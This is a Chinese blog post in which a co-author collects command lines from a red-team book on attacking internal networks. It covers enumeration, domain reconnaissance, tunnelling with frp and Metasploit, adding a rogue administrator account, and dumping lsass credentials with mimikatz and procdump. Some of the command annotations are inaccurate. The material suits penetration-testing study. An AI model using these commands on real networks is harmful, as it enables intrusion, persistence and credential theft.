由我参与编写的MS08067安全实验室的新书《内网安全攻防-红队之路》正式出版,本书从内网渗透测试红队的角度,由深入浅、全面、系统地介绍了常见内网攻击手段和相应的防御方法,力求内容全面详实、语言通俗易懂、示例简单明了。
本文收录了书中部分命令行,其目的是帮助读者快速回顾相关内容。
1 内网信息收集
1.1 主机枚举
简要说明:
1. nmap: 开源的网络扫描工具
2. ping: 基于命令行的ICMP工具
3. net: 基于命令行的网络服务工具
命令行示例:
1. nmap Nmap -sP 192.168.204.0/24 #探测网段192.168.204.1的所有存活主机
2. ping 192.168.204.1 80 #测试192.168.204.1是否存活
3. net view #显示所在网段的存活主机
1.2 端口枚举
简要说明:
1. nmap: 开源的网络扫描工具
2. telnet: 基于命令行的远程登录工具
3. netstat: 显示网络连接状态
命令行示例:
1. nmap -sS -sV 192.168.204.139 #扫描192.168.204.1是否开放139端口
2. telnet 192.168.204.1 80 #尝试连接192.168.204.1的80端口
3. netstat -an | find "80" #显示所在主机是否开放80端口
2 账户发现
2.1本地账户发现
简要说明:
1. net: 基于命令行的网络服务工具
2. whoami: 基于命令行的查看当前有效用户的工具
1. cat: Linux系统下文件查看命令
命令行示例:
1. net user #查看当前终端的本地账户
net user administrator #查看administrator用户详细信息
net localgroup #枚举本地用户组
2. whoami #查看当前有效用户
3. cat /etc/passwd #显示所在网段的存活主机
2.2域账户发现
简要说明:
1. net: 基于命令行的网络服务工具
2. ldapsearch: 基于linux的开源域信息搜索工具
命令行示例:
1. net user /domain #枚举域账户
net group /domain #枚举域用户组
2. ldapsearch -D "administrator@test.local" -w "test123.." -p 389 -h 192.168.204.139 -b "dc=test,dc=local" "(&(objectClass=user)(objectCategory=person))" |grep cn #基于Linux系统的域账户枚举命令,其中:-D和-w的参数分别是用户名和密码,-h的参数指定要连接到的服务器的主机名,-b参数指定用作搜索起始点的专有名称
2.3邮件帐户发现
简要说明:
MailSniper: 开源Microsoft Exchange相关信息搜索工具
命令行示例:
第一步,下载https://github.com/dafthack/MailSniper
第二步,输入如下命令导入MailSniper:
powershell.exe -exec bypass Import-Module .\MailSniper.ps1
第三步,输入如下命令获取电子邮件账户名:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Summer2017 -OutFile global-address-list.txt
3 域信息收集
简要说明:
1. PowerView: 是PowerSploit脚本工具集中的渗透测试和信息收集工具
2. net: 基于命令行的网络服务工具
PowerView命令行示例:
1. 第一步,下载https://github.com/PowerShellMafia/PowerSploit
第二步,打开PowerView控制台,输入如下命令导入PowerView:
Import-Module .\PowerView.ps1
第三步,输入如下命令收集域信息:
Get-NetDomain #获取当前用户所在域的名称
Get-NetUser #获取所有用户的详细信息
Get-NetDomainController #获取所有域控制器的信息
Get-NetComputer #获取域内所有机器的详细信息
Get-NetOU #获取域中的OU信息
Get-NetGroup #获取所有域内组和组成员的信息
Get-NetFileServer #根据SPN获取当前域使用的文件服务器信息
Get-NetShare #获取当前域内所有的网络共享信息
Get-NetSession #获取指定服务器的会话
Get-NetRDPSession #获取指定服务器的远程连接
Get-NetProcess #获取远程主机的进程
Get-UserEvent #获取指定用户的日志
Get-ADObject #获取活动目录的对象
Get-NetGPO #获取域内所有的组策略对象
Get-DomainPolicy #获取域默认策略或域控制器策略
Invoke-UserHunter #获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter #通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter #根据用户日志查询某域用户登录过哪些域机器
- net命令行示例:
net user /domain #查看域用户列表
net group “domain computers” /domain #查看当前域的计算机列表
net view /domain #查看当前所有域的名称
net view \\dc #查看dc域的共享目录和文件
net group /domain #查看域组
net group “domain admins” /domain #查看域管理员名称列表
net group “domain controllers” /domain #查看域控制器名称列表
net time /domain #查看域当前时间
4 通信隧道
简要说明:
1. Netsh: 基于命令行的网络配置工具
2. SSH: 安全外壳协议
3. frp: 开源反向代理应用
4. Metasploit: 开源渗透测试平台
netsh命令行示例:
netsh interface portproxy add v4tov4 listenport=8000 connectport=443 connectaddress= 192.168.198.5 #通过Netsh在服务器上添加添加端口转发,命令使用说明如下:netsh interface portproxy add v4tov4 listenport=<本地端口> connectaddress=<远程主机> connectport=<远程端口>
ssh命令行示例
ssh -CfNg -L 1153:1.1.1.10:3389 root@192.168.1.11 #使用SSH建立通信隧道实现端口转发,命令使用说明如下:ssh -CfNg -L <本地端口>:<远程主机>:<远程端口> <SSH服务器主机名或IP地址>
frp使用示例
第一步,通过https://github.com/fatedier/frp/releases下载frp,将frp服务端拷贝至具有公网IP地址的终端,将frp客户端拷贝至内网
第二步,修改frp服务端的配置文件frp.ini
[common]
# 服务端的绑定端口
bind_port = 7000
# HTTP端口
vhost_http_port = 12345
# HTTPS端口
vhost_https_port = 23456
# 通信密钥
token = 000000
第三步,修改frp客户端的配置文件frp.ini
[common]
# 公网IP
server_addr = 150.151.152.153
# 服务器绑定端口
server_port = 7000
# 与服务端秘钥一致
token = 000000
[http]
type = http
local_ip = 127.0.0.1
local_port = 80
remote_port = 12345
custom_domains = 150.151.152.153
[https]
type = https
local_ip = 127.0.0.1
local_port = 443
remote_port = 23456
custom_domains = 150.151.152.153
第四步,通过cmd运行frp服务端,命令如下:frps.exe -c frps.ini
第五步,通过cmd运行frp客户端,命令如下:frp.exe
Metasploit使用示例
第一步,通过https://www.metasploit.com/下载Metasploit
第二步,以管理员权限运行Metasploit
第三步,通过如下命令建立通信隧道:
use auxiliary/server/forwarder
set LHOST local_host
set LPORT local_port
set RHOST remote_host
set RPORT remote_port
exploit
5 权限提升
简要说明:
1. whoami: 基于命令行的查看当前用户的工具
2. ipconfig: 基于命令行的查看服务器IP信息的工具
3. quser: 基于命令行的查看登录用户信息的工具
4. systeminfo: 基于命令行的查看服务器信息的工具
5. tasklist: 基于命令行的查看运行进程的工具
6. net: 基于命令行的网络服务工具
命令行示例:
1. whoami #查看用户权限,如果不是administrator或system时需要提权
2. ipconfig #重点关注IP地址信息,确定服务器在内网还是外网
3. quser administrator #查看管理嘤administrator是否在线
4. systeminfo #重点关注补丁情况,可进一步找未修复的补丁进行提权
5. tasklist /v | find “mysqld” #查看运行进程,是否有可提权利用的进程,比如mysql
6. net user # 查看用户信息,找到敏感用户
7. net user myadmin myadmin /add #有权限的前提下,添加myadmin用户
8. net localgroup administrators myadmin /add #将myadmin用户加到管理员组
6 横向移动
6.1获取密码
简要说明:
1. mimikatz: 开源密码搜集工具,下载地址https://mimikatz.en.softonic.com/
2. procdump: 微软systeminternals工具集的密码转储工具,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
3. nishang: 开源渗透测试工具,下载地址https://github.com/samratashok/nishang
4. reg: 基于命令行的注册表工具
5. Hashcat: 基于Kali Linux系统的密码破解工具
命令行示例:
1. privilege::debug # 提升至debug权限
sekurlsa::logonpasswords # 转储hash密码
2. procdump64.exe -accepteula -ma lsass.exe lsass.dmp #转储hash密码,具体参数如下:参数-accepteula使用命令行选项自动接受Sysinternals许可协议;参数-ma转储文件;lsass.dmp为生成的转储文件的名称
红队之路
网友评论